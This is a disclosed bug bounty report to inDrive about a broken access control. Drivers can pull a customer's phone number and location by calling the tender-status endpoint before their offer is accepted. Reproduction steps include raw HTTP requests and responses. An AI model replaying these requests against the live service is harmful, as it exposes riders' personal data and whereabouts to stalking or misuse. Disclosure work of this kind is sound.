inDrive · Report #1785079
# Drivers can access the customers phone number, current location without getting their offer accepted!
Summary
And subscribe to our telegram channel with updates https://t.me/indrive_bbp
How it was found
Summary:
Hi Kirill, I wish you are fine today <3
I have a new bug today, leading to leak the phone number and the location of the customer
how? When the driver submit an offer/price to the customer, something is getting created called “tender” “id”
██████████
Then alittle bit later, another requset is getting sent called "/api/getTenderStatus?"
This request of getTender is asking for order_id= & tender_id= , Which got generated on the /api/driverrequest request (( as the screen shot ))
Steps to reproduce:
-
Open the driver’s account, and wait till you get a ride from anyone!
███████
-
submit any price for the ride you selected
███
-
Now we can see the request of
/api/driverrequestPOST /api/driverrequest?cid=9415&locale=en_US&job_id=███████ HTTP/1.1 Host: terra-6.indriverapp.com X-App: android 5.8.1 Content-Type: application/x-www-form-urlencoded Content-Length: 293 Accept-Encoding: gzip, deflate User-Agent: okhttp/4.10.0 Connection: close phone=█████&token=████&v=7&stream_id=1669551146811201&order_id=█████████&client_id=█████████&████████&type=indriver&price=33&period=2&geo_arrival_time=105&distance=305&███&sn=1HTTP/1.1 200 OK Server: QRATOR Date: Sun, 27 Nov 2022 12:12:40 GMT Content-Type: application/json;charset=utf-8 Content-Length: 1042 Connection: close Access-Control-Allow-Origin: * X-XSS-Protection: 1; mode=block {"response":{"tender":{"id":█████,"driver_id":████,"client_id":███████,"order_id":███,"status":"wait","created":"Sun, 27 Nov 2022 21:12:40 +0900","modified":"Sun, 27 Nov 2022 21:12:40 +0900","price":33,"timeout":15,"expire_time":"Sun, 27 Nov 2022 21:12:55 +0900","type":"bid","period":2,"currency_code":"","distance":305,"counter_bid_price":0,"counter_bid_timeout":0,"driver":{"id":"████","username":"███████","avatarbig":"██████:██████:███:"",█████████,"carname":"Peugeot","carmodel":"508","carcolor":"black","rating":"5.000000","performed":1,"bid_label":null}}}} -
Now we see the request and the response, and the customer didn’t accept our offer! But we still have the
"tender":{"id":█████and"order_id":█████ -
Now we gonna send the request of
/api/getTenderStatusPOST /api/getTenderStatus?cid=9415&locale=en_US&job_id=6d4ddf82-40de-4b42-80cc-08c8be40a77e HTTP/1.1 Host: terra-6.indriverapp.com X-App: android 5.8.1 Content-Type: application/x-www-form-urlencoded Content-Length: 129 Accept-Encoding: gzip, deflate User-Agent: okhttp/4.10.0 Connection: close order_id=<ORDER-ID>&tender_id=<TENDER-ID>&phone=<PHONE>&token=<TOKEN>&v=7&stream_id=1669550370135120Now we can see!
███
-
Now we have the phone number and the lat,long of the customer. How can we get the location from the lat,long? By the following requset:
POST /api/getaddresses?cid=9415&locale=en_US HTTP/1.1 Host: terra-6.indriverapp.com X-App: android 5.8.1 Content-Type: application/x-www-form-urlencoded Content-Length: 177 Accept-Encoding: gzip, deflate User-Agent: okhttp/4.10.0 Connection: close phone=<NUMBER>&token=<TOKEN>&v=2&stream_id=1669551175078856&██████████&show_plus_code=false&type=start&source=order_form██████
Impact
- Drivers can leak the customers data, name, phone number, location.
- Drivers can access the customer data and do rides out of the application knowledge.
- Drivers cannot access the customers sensitive data like this. only when their offers get accepted.